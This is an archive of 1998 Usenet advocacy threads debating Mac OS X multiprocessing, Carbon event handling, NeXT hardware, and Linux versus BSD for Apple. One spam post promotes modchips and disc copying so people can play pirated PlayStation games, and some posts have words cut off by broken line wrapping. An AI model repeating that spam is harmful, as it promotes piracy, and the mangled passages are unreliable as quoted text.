works in a multi-threaded, pre-emptive environment in QuickTime for NT, so
the design of QuickDraw wasn't an issue.
Or something.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: forrestDELETE-THIS!@west.net (Forrest Cameranesi)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Server Strategy and Publishing OS (was: Re: Quark==Adobe buyout - opinion)
Message-ID: <forrestDELETE-THIS!-3008982323050001@term1-20.vta.west.net>
References: <1_NE1.1474$MS.2757093@news.rdc1.sdca.home.com> <rmcassid-2608981351410001@hephaestus.eng.uci.edu> <6s2f73$dv7$1@msunews.cl.msu.edu> <rmcassid-2708981116090001@hephaestus.eng.uci.edu> <NlHF1.2552$MS.4447426@news.rdc1.sdca.home.com> <rmcassid-2808982317070001@hephaestus.eng.uci.edu> <1r2G1.2682$MS.5242108@news.rdc1.sdca.home.com> <rmcassid-2908982059360001@dialin9116.slip.uci.edu> <vK4G1.2694$MS.5311950@news.rdc1.sdca.home.com> <forrestDELETE-THIS!-2908982245040001@term1-20.vta.west.net> <6sd77o$q3v$1@holly.prod.itd.earthlink.net>
Organization: Obsidian Design / Static Dreams Interactive
Date: Sun, 30 Aug 1998 23:23:05 -0700
NNTP-Posting-Date: Sun, 30 Aug 1998 23:23:01 PDT
In article <6sd77o$q3v$1@holly.prod.itd.earthlink.net>, "Ziya Oz"
<ZiyaOz@earthlink.net> wrote:
> >SMP is coming in Mac OS X (the full version, not Server).
>
> Do you have any written, unambiguous reference that:
>
> - SMP will be in MacOS X, and
> - it'll be in the first release?
As someone else already posted, it's at Apple's Rhapsody FAQ page. I don't
recall the URL and am too lazy (heh) to go look it up at the moment
(besides, the other post already gave it), but it says something along the
lines of "Will Rhapsody support SMP?" and the response was "No, the
initial release will not. Symmetric Multiprocessing will be delivered in
Mac OS X." Now that doesn't explicitly say the first release of Mac OS X ,
but judging by the context it sure sounds like it.
--
-Forrest Cameranesi
Owner of The Universe, seeking employees for "Ruler" and "Master" positions. Apply at front desk. All prices subject to change. Universe, the Universe logo, and all objects contained within are (TM) and (C) Everything Unlimited, a wholly owned subsidary of Cameranesi Enterprises. Remember:
"We know what you want. We know what you need. We know where you live."
From: rr6013@yahoo.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Server Strategy and Publishing OS (was: Re: Quark==Adobe buyout - opinion)
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
References: <1_NE1.1474$MS.2757093@news.rdc1.sdca.home.com> <6s2f73$dv7$1@msunews.cl.msu.edu>
<rmcassid-2708981116090001@hephaestus.eng.uci.edu> <NlHF1.2552$MS.4447426@news.rdc1.sdca.home.com>
<rmcassid-2808982317070001@hephaestus.eng.uci.edu> <1r2G1.2682$MS.5242108@news.rdc1.sdca.home.com>
<rmcassid-2908982059360001@dialin9116.slip.uci.edu> <vK4G1.2694$MS.5311950@news.rdc1.sdca.home.com>
<forrestDELETE-THIS!-2908982245040001@term1-20.vta.west.net> <_JfG1.2729$MS.5651479@news.rdc1.sdca.home.com>
<35e9ab30.0@news.depaul.edu>
Message-ID: <6trG1.2795$MS.6099945@news.rdc1.sdca.home.com>
Date: Mon, 31 Aug 1998 06:33:38 GMT
NNTP-Posting-Date: Sun, 30 Aug 1998 23:33:38 PDT
Organization: @Home Network
In <35e9ab30.0@news.depaul.edu> Jonathan W Hendry wrote:
> rr6013@yahoo.com wrote:
>
> > BullShit... point to a public reference. That's only what you want to
> > believe.
>
> http://developer.apple.com/macosx/server/rhapfaq/3.html
>
> When will Rhapsody first deliver SMP?
>
> Rhapsody will not support SMP. SMP support will be delivered with Mac OS X.
>
Jonathan, thanks.
Not Bullshit, OK. But the reference doesn't amount to much more than a
prayer of seeing SMP on MacOS X someday. They have said very little about
SMP, when they will deliver and with which version of MacOS X.
But I stand corrected Apple is promising SMP to the masses... t
-r
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Server Strategy and Publishing OS (was: Re: Quark==Adobe buyout - opinion)
Date: Mon, 31 Aug 1998 00:23:58 -0800
Organization: UC Irvine
Message-ID: <rmcassid-3108980023590001@dialin9062.slip.uci.edu>
References: <1_NE1.1474$MS.2757093@news.rdc1.sdca.home.com> <6s2f73$dv7$1@msunews.cl.msu.edu> <rmcassid-2708981116090001@hephaestus.eng.uci.edu> <NlHF1.2552$MS.4447426@news.rdc1.sdca.home.com> <rmcassid-2808982317070001@hephaestus.eng.uci.edu> <1r2G1.2682$MS.5242108@news.rdc1.sdca.home.com> <rmcassid-2908982059360001@dialin9116.slip.uci.edu> <vK4G1.2694$MS.5311950@news.rdc1.sdca.home.com> <forrestDELETE-THIS!-2908982245040001@term1-20.vta.west.net> <_JfG1.2729$MS.5651479@news.rdc1.sdca.home.com> <35e9ab30.0@news.depaul.edu> <6trG1.2795$MS.6099945@news.rdc1.sdca.home.com>
In article <6trG1.2795$MS.6099945@news.rdc1.sdca.home.com>,
rr6013@yahoo.com (Rex Riley) wrote:
> Not Bullshit, OK. But the reference doesn't amount to much more than a
> prayer of seeing SMP on MacOS X someday. They have said very little about
> SMP, when they will deliver and with which version of MacOS X.
I think it has been implied in several places (a hardware Q&A with
Rubinstein comes to mind) that SMP would be right away. That Apple really
does want and need to start shipping multi-CPU systems, and that doing so
without SMP support in the OS is just dumb. I get the sense that it is
rather high priority.
-Bob Cassidy
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Apple heading to obscurity?
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Organization: none
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<gmgraves-1107980808300001@sf-usr1-11-139.dialup.slip.net> <6o8adb$i746@odie.mcleod.net>
<ToOp1.3341$24.19242835@news.itd.umich.edu> <6oimuj$nsq$1@news00.btx.dtag.de>
<pxpst2-1607982126410001@pelli.pathology.pitt.edu> <B1D4F704-26A9A@206.165.43.134>
<joe.ragosta-1807980702180001@elk58.dol.net> <6p3i97$507$1@news02.btx.dtag.de>
<D32EE32CE02A98BD.E34D9DD7A9271C95.80294BDE739E8CE6@library-proxy.airnews.net> <35E46FAC.404CD486@ericsson.com>
<6s2jb1$oqh@news1.panix.com> <slrn6u9p46.joh.jedi@dementia.mishnet>
<6s3vk3$9qo@news1.panix.com> <slrn6ucs3n.kbc.kevin@frobozz.sysexperts.com>
<6s6hco$30u@news1.panix.com> <slrn6ue1vs.q7o.kevin@frobozz.sysexperts.com>
<slrn6ue4qo.113.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <SCOTT.98Aug28143430@slave.doubleu.com>
Mime-Version: 1.0
Date: Mon, 31 Aug 1998 14:50:45 GMT
In <SCOTT.98Aug28143430@slave.doubleu.com> Scott Hess wrote:
> As I remember it, by the time "RISC raced ahead and Intel caught up",
> NeXT hardware was gone, gone, gone. My first Intel PC, purchased in
> 1994 entirely to run NeXTSTEP, was only _barely_ competitive with the
> 25Mhz mono NeXTstation I had purchased 3 years earlier - for
> substantially the same price (around $5k).
Sure, but you were basically running a 1.0 OS vs. a 3.x OS. That doesn't
strike me as entirely fair.
> Nowadays, I can't argue with the Intel-based PC's points. I can put
> together a really good machine for $1500-$2000, with a decent 17"
> monitor. Even then, though, Intel-based PC's are only just now
> getting close to the neatness factor of NeXTstation I got in 1991.
The boos brought in his old Station. Sorry, no PC I've seen comes CLOSE in
neatness factor! Well, maybe the iMac does one better in some ways, but no
_PC_ I've seen.
> In retrospect, NeXT had good hardware with good software for a
> justifiable price. Unfortunately, that price was past the event
> horizon for what people could justify spending.
Notably in the days where the majority of the institutional computer buying
world was basically illiterate. People have been buying bad machines for
dumb reasons for many years now, but those reasons have definitely changed -
in mean in 1988 if you compared any Mac and any PC the superiority of the Mac
was clear - yet even when it was truely different people still didn't buy
them.
Maury
From: tsvokojp@yahoo.net
Newsgroups: comp.sys.next.advocacy
Subject: Wanna play Copied Playstation Games? or imports?
Date: 2 Sep 1998 13:12:17 GMT
Organization: none given
Message-ID: <6sjg7h$3l1$307@taiwan.informatik.unirostock.de>
Would You like to be able to Copy Games to play on your Playstation?
Or play Import games? well, check out This site Playstation Modchips
And Installation they offer the cheapest price on Mod chips and mod
chip installation, they also offer CD backup services. Modchips allow you
to play COPIES playstation games! and imports
http://psxmodchips.8m.com
the page is really cool at
http://psxmodchips.8m.com i noticed someone asking about modchips.
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Apple heading to obscurity?
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<gmgraves-1107980808300001@sf-usr1-11-139.dialup.slip.net> <6o8adb$i746@odie.mcleod.net>
<ToOp1.3341$24.19242835@news.itd.umich.edu> <6oimuj$nsq$1@news00.btx.dtag.de>
<pxpst2-1607982126410001@pelli.pathology.pitt.edu> <B1D4F704-26A9A@206.165.43.134>
<joe.ragosta-1807980702180001@elk58.dol.net> <6p3i97$507$1@news02.btx.dtag.de>
<D32EE32CE02A98BD.E34D9DD7A9271C95.80294BDE739E8CE6@library-proxy.airnews.net> <35E46FAC.404CD486@ericsson.com>
<6s2jb1$oqh@news1.panix.com> <slrn6u9p46.joh.jedi@dementia.mishnet>
<6s3vk3$9qo@news1.panix.com> <slrn6ucs3n.kbc.kevin@frobozz.sysexperts.com>
<6s6hco$30u@news1.panix.com> <slrn6ue1vs.q7o.kevin@frobozz.sysexperts.com>
<slrn6ue4qo.113.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <SCOTT.98Aug28143430@slave.doubleu.com>
<EyK6KM.843@T-FCN.Net> <SCOTT.98Sep1100129@slave.doubleu.com>
Mime-Version: 1.0
Date: Wed, 2 Sep 1998 14:10:05 GMT
In <SCOTT.98Sep1100129@slave.doubleu.com> Scott Hess wrote:
> Not sure where you're going with that - should the 3.x version have
> been slower, or faster?
Faster would be my guess.
> In any case, they were both running NS3.3.
Yes, but one of those was the first major version on that platform, the
her was the 3rd.
I don't deny the price and performance of PC's, that's why I bought one for
r my OpenStep box too.
> You can put together a fairly awesome homebrew PC these days for
> fairly reasonable money. It won't have nearly as much design level
> thought put into it - but it will be a lot more powerful.
You make it sound like a Corvair!
> computers are at a stage comparable to the 50's and 60's for
> automobiles, when ability to tweak your vehicle was a definite
> advantage in some circles - but inability to tweak your vehicle didn't
> automatically kick you out of the club.
But if you rolled over it exploded into a ball of flame. hey, I'm liking
this metaphore more and more!
> Converting car-generations to computer-generations, we should have the
> computer equivalent of standard fuel injection and airbags in, oh, 10
> years :-).
Ah, but this is interesting. Over the last two decades or so cars have
tten a LOT safer. Yet computers crash more. This is bad.
Maury
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
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Cc: quinlan@intergate.bc.ca
Organization: none
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<6rm0p9$tai$1@nnrp1.dejanews.com> <35E77CF2.BC4997CD@mindspring.com>
<6s9rcf$ddo$1@nnrp1.dejanews.com> <EyKFps.25B@T-FCN.Net>
<macghod-0109980043120001@sdn-ar-001casbarp011.dialsprint.net> <EyM4n2.Iyx@T-FCN.Net>
<EyM7CI.M4B@T-FCN.Net> <6si282$pma$1@nnrp1.dejanews.com>
Mime-Version: 1.0
Date: Wed, 2 Sep 1998 14:47:00 GMT
In <6si282$pma$1@nnrp1.dejanews.com> quinlan@intergate.bc.ca wrote:
> Are there videos that we can see on the Web?
Dunno, I watched it live. It was on ZDNet though, they might have archived
d it.
Maury
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
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<6rm0p9$tai$1@nnrp1.dejanews.com> <35E77CF2.BC4997CD@mindspring.com>
<6s9rcf$ddo$1@nnrp1.dejanews.com> <EyKFps.25B@T-FCN.Net>
<6shijn$684$1@nnrp1.dejanews.com>
Mime-Version: 1.0
Date: Wed, 2 Sep 1998 14:46:08 GMT
In <6shijn$684$1@nnrp1.dejanews.com> quinlan@intergate.bc.ca wrote:
> How can the changes not take place at the API level?
Ummm, is this rhetorical? How about the same way that most of the code in
the System changed into PPC in this version with no change to the API? Or
the many changes to QD in the past that resulted in no API changes? Or the
switch to OT which most networking apps didn't even notice?
> Below you have a fragment
> of code that could be used to handle mouseDown events in the menu bar. This
> code would have to change if Apple wanted to make the menu bar accessable
when
> the foreground application is busy.
€ Ummm, no it doesn't, that's why I posted it. The current menu handler
cks while it services the menu. It doesn't have to. Indeed, if the demo I
saw yesterday comes to be true, it won't.
> That would represent a fairly big change in the way event handling works.
... that would require maybe 5 lines of code changed in the average app.
> You would have some re-entrancy issues to deal with. You would have to make
> sure that your callback function doesn't examine/modify data structures
at
> are in the process of being changed.
No you wouldn't, the foreground app is still blocked on I/O.
Something went missing here, my point is that if the menu hander was
er it could call WNE from inside the tracking loop, and allow other apps to
run. I know this works, because I worked on a product that did this. I also
o know that Apple could modify the menu hander to do this AND not result in
weird screen drawing problems. Why do I know they could do this?
a) because it partially works now
b) because it's not hard to make the rest work
c) because eQD will be fully re-entrant
> deal with this before. Even highlevel event callbacks aren't made until the
> application asks them to be.
Sure, so?
Maury
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
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Cc: quinlan@intergate.bc.ca
Organization: none
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<6rm0p9$tai$1@nnrp1.dejanews.com> <35E77CF2.BC4997CD@mindspring.com>
<6s9rcf$ddo$1@nnrp1.dejanews.com>
Mime-Version: 1.0
Date: Mon, 31 Aug 1998 18:08:16 GMT
In <6s9rcf$ddo$1@nnrp1.dejanews.com> quinlan@intergate.bc.ca wrote:
> In article <35E77CF2.BC4997CD@mindspring.com>,
> markeaton@mindspring.com wrote:
>
> > As was communicated at WWDC, we aren't limiting ourselves to just a
> > subset of the classic Toolbox. Carbon is more like Toolbox - some
> > obsolete stuff + some new stuff that will make apps run better, easier
> > to write, or safer.
>
> I noticed that you used the word "we", do you work for Apple?
> Anyway,
> changing the way event processing works is fairly significant and there is
no
> indication that Apple is doing this for Carbon applications.
Yes, there is. The issue appears to be that you believe this will
translate into differences at the API level. I'm convinced changes are
happening, however I am not convinced this will result in any undue pain at
the API level or above.
> every event processing routine works would have to be changed and that
would
> break applications that have made the legal assumption. For example, a lot
of
> application don't decide the state of the menu until the user clicks in it.
> So how could the window server control menu selection?
Well this is exactly how it works now under OpenStep as well. YB does it
by asking the firstResponder (or others) for the state of the menus based on
a selector ID, Carbon could just as easily do it based on menu position. The
code would be a lot nastier, but in the end it would likely change nothing in
the user's code with the exception of implementing a single "well known"
entry point for the callout.
I'm not even convinced it has to do this. The current event chain is...
get a mouseDown
figure out where it is
set up your menus
run the menuhandler
menuhandler returns menu item information
Basically the _real_ problem is in the last step, the rest happen
"instantly" from the user perspective. If the call back into the menu
handler can be made smarter it should work fine. No? Can you think of a
case where this would not work?
I should point out that SoftArc implemented their own menu hander that
called into WNE for just this reason. The only undue side effect was the
ugly results when the console updated with the menu down - but simply being
based on a windowserver would change that. They didn't base original menus
on windows because it was too expensive, but those days are over.
Let's just say that I don't believe any changes at the "front end" need to
take place for this to work "properly". I base this on having worked on a
product that did this.
> There is a difference between a tune-up and a complete restructuring of the
> applications event code.
Again I'm left wondering what you're referring too. Can you demonstrate
any specific examples?
> Nope, OpenStep allowed you to play with an applications menus while the
> application was busy. Apple changed this behavior in Rhapsody.
And for what reason I cannot tell.
Maury
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Date: Wed, 02 Sep 1998 10:20:17 -0500
Organization: Ericsson North America Inc.
Message-ID: <35ED6231.B7655F0B@ericsson.com>
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Maury Markowitz wrote:
>
> In <35EC8621.A28FBDDA@ericsson.com> Michael Peck wrote:
> > Yes, all of the above. Win98, WinNT, Linux, all of these operating
> > systems -- and only these -- are gaining market share. They are all the
> > wave of the future. Why is Apple trying to build a competitor instead of
> > building on top of the competition?
>
> That's your justification?
>
> Why didn't Woz build the the Apple II instead of building Altair add ons?
Well, this is pretty much reductio ad absurdum. The Apple II was a PC,
not a do-it-yourself computer kit without display or storage devices.
Were you being sarcastic or did you really mean to make such a
ridiculous comparison?
> Why did K&R&T build Unix when they could have run Multics?
For fun, out of boredom. Weren't you familiar with the history or Unix
(which was a jokingly scornful reference to Multics itself)?
> Why did Linus build Linux when he could of patched up Minix?
To see if he could do it. I suppose you were unfamiliar with that
history, as well. Linux grew out of a class side-project that Torvalds
began as a student of Tannenbaum, author of Minix.
> It's called innovation.
Yeah, and I'm afraid that's going to be Apple's biggest hurdle,
seriously. Rhapsody, as originally described, would have been
innovative. MacOS X, as it is described today, doesn't seem to have much
innovation at all.
> Duh. I'm sure you'll continue posting stupid
> tes like this and then claim I'm the one posting silly arguments.
I'm sure you'll continue to post pejoratives instead of argument. Let's
be honest: your position on this is getting pretty stale. It seems to
hang entirely on esoteric details of the Mach kernel, which I find
fantastically funny, considering that Microkernel Linux has been built
upon Mach (and running on Macs, PCs, HP workstations, and sundry other
platforms) since several years ago.
> > MacOS X doesn't have any market share yet, and there's no data one way
> > or the other as to whether if ever will. I would bet against a new
> > operating system that has zero major functional improvements over the
> > existing (well-established) competition.
>
> Riiiight, the ability to run Office and YB are not major improvements.
I can't believe you've missed this for so long. Unbelievable. The whole
idea was that YB would run on Linux and that a Blue Box would be written
for Linux, as well.
[cut]
> > This makes no sense even if you define what "Mac" in "Mac owner" means.
> > If it means a piece of hardware, of course Linux will run on that
> > hardware, which renders the point rather elusive.
>
> How does this render the point elusive? This is exactly the point I'm
> ing. Obviously you had no problem understanding it.
[sigh] This is nearly comical. Maury Markowitz said:
> But clearly Apple's only concern now is
> the _Mac_ owners, and frankly using Linux does nothing for them.
</quote>
How exactly does Linux do nothing for Mac owners if the issue is
hardware and Linux will run on that hardware? I've got to hand it to
you, nobody's posts confuse me like yours.
> Mac owners don't care what the technical basis of their OS is, as long as
> it works. You specifically agreed with this point.
You are simply amazing. Maury Markowitz said:
> Look at what the iMac is, it's a machine that's utterly a case
> of form over function, sold entirely to people that couldn't give a crap if
> what's inside is a little mouse running on a treadmill.
</quote>
This is what I agreed with. The technical basis of the MacOS is
tremendously important to a very significant portion of the Macintosh
userbase. You claim to be a Mac developer, yet seem very out-of-touch
with the userbase. Don't you know that the userbase has been clamoring
for PMT and PM for years?
> Apple has an OS right
> ow that is functionally the same as Linux and in some ways better. The only
> advantage to Linux is PR.
The advantage to Linux is that it's a known quantity, well-known to many
people.
> This is of no value in Apple's market.
"PR" is of no value in Apple's market?
> You
> onded to all of these points demonstrating in the response that you
> od them, but then claim my argument doesn't make any sense.
No, Maury. I don't recognize a single thing you've said in this posting.
This is becoming a very familiar pattern: long postings followed by
longer postings that every time shift meaning and shift meaning and
shift meaning.
> I'm _still_ waiting for any non-PR related reasons why Apple should use
> nux.
Here it is very simply: I never used the word "PR"; that's yours. I gave
you the reasons for using Linux, and they *are* my reasons. If you're
waiting for something I haven't given you because you've managed to
dismiss everything I've said, you're welcome to your version of reality.
> No one has provided any to date, and you not only fail to again, but
> ven after all of this STILL attempt to use PR as a point.
Ow! Ow! Beating me with this "PR" club is getting so tiresome. I don't
know where you get "PR" from, except for the part about T-shirts.
Fixation? Or are you just avoiding the engagement of the important
issues I raised?
> > Then we are discussing hardware, evidently. I wonder what makes BSD more
> > suitable for Macintosh hardware than Linux.
>
> Because the while OS is already running on it. How could you miss this,
> nsidering I pointed it out in EVERY message?
What OS is already running on Macintosh hardware? BSD? Big freaking
deal! Linux is, too, and on more Macintoshes than MacOS X supposedly
will. It also has a longer track record, more user reports, better test
coverage, and more public information. I didn't miss anything, Maury...
> > For the reasons Mr. Garner listed (popularity, chiefly), Linux certainly
> > is "better" than what they have now on the PPC.
>
> [...], how can you post that quote above and then utterly reverse
> urself in the next paragraph?!? THE POPULARILY OF LINUX MEANS NOTHING TO MAC
> C OWNERS.
I'm having trouble with your newsposter. Does this say "MAC OWNERS" or
is there another word that's been cut off in there? I can't for the life
of me carry on a conversation like this. It's wonderful: I'm arguing
with a known word dissector who posts from a word-dropping newsposter.
If your quote above actually reads "THE POPULARITY OF LINUX MEANS
NOTHING TO MAC OWNERS", you've just shifted the goalposts again. So it's
no longer a technical issue, or a hardware issue, or a software issue,
or a portability issue, it's become an issue of a userbase that (by your
reckoning alone) is not interested.
But somehow BSD fits better, presumably because the Macintosh-using
public *does* want BSD. Remarkable. But I see, from glancing below, that
the goalposts are to shift yet again.
> > Linux/PPC would seem to beg the question: why, indeed, isn't Apple
> > supporting PCs with MacOS X when Linux offers a partial solution?
>
> Solutions have nothing to do with it, they don't want to. Period.
Ah, so now it's about what Apple unilaterally wants, "so ha"?
> > this question is even raised within the hallowed halls of One Infinite
> > Loop, Linux certainly is the "better" than what they have now on the
> > PPC.
>
> How? Exactly. Can you tell me how Linux on the PPC is better than the
> ch they have now?
What is that word?
Not two sentences before the quote above, I said that Linux offers a
partial solution for portability to PCs. Are you asking me what that
solution is? Or just asking questions at random? The partial solutions
is an OS layer that is fully portable to PC computers, complete with
fairly extensive drivers and comprehensive support for even esoteric
hardware configurations. The only part left over is userspace
compatibility for tools like sound cards and video hardware that isn't
directly handled by the kernel/OS layer.
For instance, Sound Blaster cards ship with Windows player software and
other cute tools like Text to Speech. Additionally, Windows provides
userspace tools like a mixer, MIDI chooser, and configuration tools that
make using the card easier. These would need provision by Apple or a
partner, hopefully in a single form for all cards. However, the
kernel-level drivers for these cards are already available in Linux.
[cut]
Feel free to cut this conversation short right here, Maury, the way
you've been fond of in the past. For once, I'd be grateful not to have
to sort through the spaghetti maze of rhetoric (not to mention the
broken word wrapping).
MJP
From: "Sung Ho Kim" <sk68@cornell.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Date: 2 Sep 1998 15:34:30 GMT
Organization: Cornell University
Sender: sk68@cornell.edu (Verified)
Message-ID: <01bdd687$6d404720$5966ec84@am133>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <6o6in8$83n$1@supernews.com> <gmgraves-1107980808300001@sf-usr1-11-139.dialup.slip.net> <6o8adb$i746@odie.mcleod.net> <ToOp1.3341$24.19242835@news.itd.umich.edu> <6oimuj$nsq$1@news00.btx.dtag.de> <pxpst2-1607982126410001@pelli.pathology.pitt.edu> <B1D4F704-26A9A@206.165.43.134> <joe.ragosta-1807980702180001@elk58.dol.net> <6p3i97$507$1@news02.btx.dtag.de> <D32EE32CE02A98BD.E34D9DD7A9271C95.80294BDE739E8CE6@library-proxy.airnews.net> <35E46FAC.404CD486@ericsson.com> <6s2jb1$oqh@news1.panix.com> <slrn6u9p46.joh.jedi@dementia.mishnet> <6s3vk3$9qo@news1.panix.com> <slrn6ucs3n.kbc.kevin@frobozz.sysexperts.com> <6s6hco$30u@news1.panix.com> <slrn6ue1vs.q7o.kevin@frobozz.sysexperts.com> <slrn6ue4qo.113.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <SCOTT.98Aug28143430@slave.doubleu.com> <EyK6KM.843@T-FCN.Net> <SCOTT.98Sep1100129@slave.doubleu.com> <Eynu0t.GJ9@T-FCN.Net>
Maury Markowitz <maury@remove_this.istar.ca> wrote in article
<Eynu0t.GJ9@T-FCN.Net>...
>
> Ah, but this is interesting. Over the last two decades or so cars have
> tten a LOT safer. Yet computers crash more. This is bad.
>
> Maury
>
>
This might be getting way off the subject, but the reason for this I
believe is that a system malfunction in a vehicle can threaten the lives of
the occupants, while a computer crash probably doesn't. (Oh well for some
people it does...) Thus safety systems in cars is given high priority while
system crashes in a PC (not a workstation) is not. So I don't think PC
will get more crash safe unless people start jumping off their office
windows after a crash and someone takes notice :)
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: 2 Sep 1998 16:22:03 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6sjrbb$j05@newsb.netnews.att.com>
References: <6sccvd$5i@gazette.bcm.tmc.edu> <6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net>
Originator: gupta@tlctest
Dan <dan@knowspaam.com> wrote:
>Personal opinion...
>
>
>I don't know anyone that knows what the difference is between Win95 and
>Win95 with service pack 1... nor can 95% of any Win95 user find or name a
>single Win95 bug... can you?
Well, read the release notes.
Also, Windows 95 requires at least service pack 1 to be year 2000 compliant.
-arun gupta
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Apple heading to obscurity?
Content-Type: text/plain; charset=us-ascii
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Sender: news@T-FCN.Net
Content-Transfer-Encoding: 7bit
Cc: Michael.Peck@ericsson.com
Organization: none
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<pxpst2-1607982126410001@pelli.pathology.pitt.edu> <B1D4F704-26A9A@206.165.43.134>
<joe.ragosta-1807980702180001@elk58.dol.net> <6p3i97$507$1@news02.btx.dtag.de>
<D32EE32CE02A98BD.E34D9DD7A9271C95.80294BDE739E8CE6@library-proxy.airnews.net> <6s5408$kc5$1@reader1.reader.news.ozemail.net>
<6s6hd0$30u@news1.panix.com> <SCOTT.98Aug28130819@slave.doubleu.com>
<EyK67n.7DI@T-FCN.Net> <D31B50461F33C90C.B0C9BB4EF6A49007.725D4B0B54C08000@library-proxy.airnews.net>
<EyMHA5.9At@T-FCN.Net> <35EC8621.A28FBDDA@ericsson.com>
<Eynut8.H0w@T-FCN.Net> <35ED6231.B7655F0B@ericsson.com>
Mime-Version: 1.0
Date: Wed, 2 Sep 1998 16:35:13 GMT
In <35ED6231.B7655F0B@ericsson.com> Michael Peck wrote:
> Yeah, and I'm afraid that's going to be Apple's biggest hurdle,
> seriously. Rhapsody, as originally described, would have been
> innovative. MacOS X, as it is described today, doesn't seem to have much
> innovation at all.
Exactly how is OS-X, which is basically an updated Rhapsody, less
ve than Rhapsody?
> I'm sure you'll continue to post pejoratives instead of argument. Let's
> be honest: your position on this is getting pretty stale.
And your's isn't?!?
> It seems to
> hang entirely on esoteric details of the Mach kernel,
Har!! Can you find a SINGLE EXAMPLE where I talk about the Mach kernel?
No, you can't. My argument has NOTHING to do with the technology.
> I can't believe you've missed this for so long. Unbelievable. The whole
> idea was that YB would run on Linux and that a Blue Box would be written
> for Linux, as well.
No it was not, the BB has _never_ been part of the porting plans in any of
the statement's I've seen. Not once. Care to provide any evidence of this?
> > But clearly Apple's only concern now is
> > the _Mac_ owners, and frankly using Linux does nothing for them.
>
> </quote>
>
> How exactly does Linux do nothing for Mac owners if the issue is
> hardware and Linux will run on that hardware?
Sigh. Mike, what part of the argument are you finding so hard to grasp? I
I have stated on no less than three occasions, all of which you responded to,
, that Apple is adbandoning the PC side of things and thus the hardware
ort is a moot point for the Mac owners.
> I've got to hand it to
> you, nobody's posts confuse me like yours.
I get the feeling I'm being trolled.
> > Look at what the iMac is, it's a machine that's utterly a case
> > of form over function, sold entirely to people that couldn't give a crap
p if
> > what's inside is a little mouse running on a treadmill.
>
> </quote>
>
> This is what I agreed with.
Indeed, this is where I stated that the technical details of the internal
workings are meaningless. Yet then you somehow manage to conclude...
> The technical basis of the MacOS is
> tremendously important to a very significant portion of the Macintosh
> userbase.
Which is exactly the opposite of what I said and what you replied to. I
ave no idea what concept you're "agreeing" with, but it's certainly not any
that I've advocated.
> The advantage to Linux is that it's a known quantity, well-known to many
> people.
Well known to many people who aren't Mac users.
> "PR" is of no value in Apple's market?
Sigh. As I explained on all the other messages, Apple is doing fine with
PR now and doesn't appear to be that much help. Others have noted that in
ome circles Linux has a bad rep as a hard to use system, and since this is
hat the Mac comminity espouses it's possible that adopting Linux would be
ad_ PR for Apple.
> No, Maury. I don't recognize a single thing you've said in this posting.
> This is becoming a very familiar pattern: long postings followed by
> longer postings that every time shift meaning and shift meaning and
> shift meaning.
If you say so. But I find it interesting that you're the only one claiming
g to have problems understanding my points, then posting back replies that
ave nothing whatsoever to do with them. If the rest of the readers and
ers appear to have no problems, I would suggest this is your problem and not
mine.
> Here it is very simply: I never used the word "PR"; that's yours.
About 15 lines up ""PR" is of no value in Apple's market?"
> you the reasons for using Linux, and they *are* my reasons.
Which were? The only ones I've seen are that Linux has momentum,
e, and platform support. Are these not your main points? If they are not,
what are they?
> Ow! Ow! Beating me with this "PR" club is getting so tiresome. I don't
> know where you get "PR" from, except for the part about T-shirts.
> Fixation? Or are you just avoiding the engagement of the important
> issues I raised?
Which important issues?
> What OS is already running on Macintosh hardware? BSD?
Sigh. No Mike. If you can't even understand THAT part of my message you
either don't bother to read them, or are indeed trolling me. Here it is
in...
"Because the while OS is already running on it"
The OS in question is Rhapsody. Rhapsody and MacOS-X are already running on
n BSD. Do you agree to this point at least?
Now if you DO agree to that point, can you provide reasons that changing
ll of this code in mid-stream over to Linux, which is technically similar,
ould provide Apple with anything other than the name change? For instance,
would it...
a) be faster?
b) be more stable?
c) run YB or MacOS apps better?
d) use up less HD space?
e) provide a richer API?
What _exactly_ would this get Apple? I have been asking this same question
n for a week now, and you have NOT responded to on this level. Here, why
n't you make a little point list of why they SHOULD do this, and I'll respond
d to that, OK?
> I'm having trouble with your newsposter. Does this say "MAC OWNERS" or
> is there another word that's been cut off in there? I can't for the life
> of me carry on a conversation like this. It's wonderful: I'm arguing
